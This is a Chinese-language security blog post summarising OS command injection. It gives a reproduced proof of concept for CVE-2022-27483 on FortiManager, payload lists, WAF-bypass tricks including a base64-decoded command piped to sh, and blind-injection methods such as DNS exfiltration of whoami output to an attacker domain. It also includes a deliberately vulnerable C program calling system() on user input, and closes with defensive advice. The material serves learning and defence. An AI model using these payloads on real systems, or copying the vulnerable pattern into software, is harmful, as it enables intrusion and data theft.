OS命令注入总结

本文最后更新于 2024年6月7日 下午

从 CVE 开始

首先让我们认识一个 CVE,CVE-2022-27483,命令注入漏洞,官方通告上这么说:

1
Fortinet FortiManager 版本 7.0.0 至 7.0.3、6.4.0 至 6.4.7、6.2.x 和 6.0.x 以及 FortiAnalyzer 版本 7.0 中的 os 命令(“os 命令注入”)中使用的特殊元素的不正确中和。 0 到 7.0.3、6.4.0 到 6.4.7、6.2.x 和 6.0.x 版本允许攻击者通过 `diagnose system` CLI 命令以 `root` 用户身份执行任意 shell 代码。

当时笔者正在实习,这个漏洞暴露出来的时候属于 1day,网上并没有现成的 poc,于是自己搭建环境复现了一下,正好能用来作为命令注入漏洞的入门。简单的贴一个 poc:

1
diagnose system info " \' & id &  \' "

当时复现的思路:

将 root.fs 挂载在/mnt 目录下,进行解压后, 在当前目录运行grep -r diagnose system .找到对应的.so 文件
在这个 so 文件下,shift+f12 查找 diagnose system 字符串调用情况,在其中的一个函数中发现 os 命令执行,且能提升到 root 权限。
核心 payload 解释:
" \' & id & \' "
注入环境为 linux bash shell 环境,注入代码会被注入到'注入点',首先由于 bash 环境需要双引号括起来避免解析命令,接着用单引号注入闭合原语句,第一个&用来继续运行,后面还有一个单引号用于闭合第二个单引号。

时隔时间有些久,重新整理时发现,觉得并不需要转义单引号欸,但是也并不会影响语义就是

最终这个 poc 会以 root 权限执行 id 命令,然后返回结果。

知识点和总结

在 linux shell 中:

单引号 '

1、字符串闭合

2、单引号会原样输出,输出的都是纯字符串包括 shell 特殊字符(如 $, `, , ! 等)

3、防止解释,不会解析变量,命令

4、被转义后,输出的即是它本身,失去字符串闭合能力。

双引号 "

1、字符串闭合

2、输出时会解析里面的变量和命令

3、允许转义符

1
2
3
4
\":转义双引号,防止它关闭字符串。
\\:转义反斜杠自身。
\$:转义美元符号,防止变量展开。
\`:转义反引号,防止命令替换。

注入常用 exp:

1
2
3
4
5
6
7
;id;
&id&
|id;
||id;
&&id #
`id`
$(id)

Shell 元字符

SHELL 元字符

分隔符

许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符在 Windows 和基于 Unix 的系统上均可使用:

注意: system 执行不要有空格

  • & 后台执行
  • && 逻辑 AND
  • | 管道
  • || 前命令失败后执行

以下命令分隔符仅在基于 Unix 的系统上起作用:

  • ; 连续
  • Newline (0x0a or \n)

在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令:

  • `injected command`
  • $( injected command )

请注意,不同的外壳元字符具有细微不同的行为,这些行为可能会影响它们是否在某些情况下起作用,以及它们是否允许带内检索命令输出或仅对盲目使用有用。
常用的组合为

1
cat$IFS$1`ls`

有时,您控制的输入会出现在原始命令的引号中。在这种情况下,需要先使用引号终止上下文(使用“或”),然后再使用适当的外壳元字符来插入新命令。

测试命令:

command linux windows
name whoami whoami
OS uname-a ver
Network Config ifconfig ifconfig /all
Network connect netstat -an netstat -an
Running processes ps -ef tasklist

发生在 web 程序端

在复杂的 web 场景下, web 应用页面往往会存在 waf,这就需要我们对攻击流量进行相应的编码绕过或者使用 trick。(待补充)

php waf

绕过空格:

1
2
3
4
5
6
$IFS$1
${IFS}
${IFS
%20
<和<>重定向符
%09替换

绕过特殊字符:

1
2
3
;a=g;cat$IFS$1fla$a.php
;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
;cat $IFS$1`ls`

盲注:

盲操作系统命令注入漏洞

OS 命令注入的许多实例都是盲目的漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。盲目漏洞仍然可以被利用,但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。为此,它使用提交的详细信息调出邮件程序。例如:

1
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail  命令的输出(如果有)不会在应用程序的响应中返回,因此使用  echo  有效负载将无效。在这种情况下,您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注 OS 命令注入

您可以使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。ping  命令是执行此操作的有效方法,因为它使您可以指定要发送的 ICMP 数据包的数量,从而指定该命令运行所花费的时间:

1
& ping -c 10 127.0.0.1 &

此命令将导致应用程序 ping 其环回网络适配器 10 秒钟。

通过重定向输出来利用盲目的 OS 命令注入

您可以将注入命令的输出重定向到 Web 根目录下的文件中,然后可以使用浏览器进行检索。例如,如果应用程序从文件系统位置  /var/www/static  提供静态资源,则可以提交以下输入:

1
& whoami > /var/www/static/whoami.txt &

>  字符将  whoami  命令的输出发送到指定文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt  来检索文件,并查看注入命令的输出。

利用带外(OAST)技术利用盲目的 OS 命令注入

您可以使用注入的命令,通过 OAST 技术触发与您控制的系统的带外网络交互。例如:

1
& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用  nslookup  命令对指定域进行 DNS 查找。攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。

带外通道还提供了一种从注入的命令中提取输出的简便方法:

1
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对包含 whoami 命令结果的攻击者域的 DNS 查找:

1
wwwuser.kgji2ohoyw.web-attacker.com

测试程序

附漏洞测试程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "用法: %s '<command>'\n", argv[0]);
return 1;
}

printf("执行命令: %s\n", argv[1]);
char baseStr[100] = "cat";
sprintf(baseStr, "ls '%s'",argv[1]);
printf("%s\n",baseStr);
int return_value = system(baseStr);

if (return_value == -1) {
perror("system");
} else {
printf("命令执行结束,返回值: %d\n", return_value);
}

return 0;
}

防御者角度:防止 OS 命令注入攻击

到目前为止,防止 OS 命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用 OS 命令。在几乎每种情况下,都有使用更安全的平台 API 来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出 OS 命令,则必须执行强大的输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

切勿尝试通过转义外壳元字符来清理输入。实际上,这太容易出错,容易被熟练的攻击者绕开。


OS命令注入总结
https://k3ppf0r.github.io/2022/12/11/Vulnerability/Knowledge/命令注入/
作者
k3ppf0r
发布于
2022年12月11日
许可协议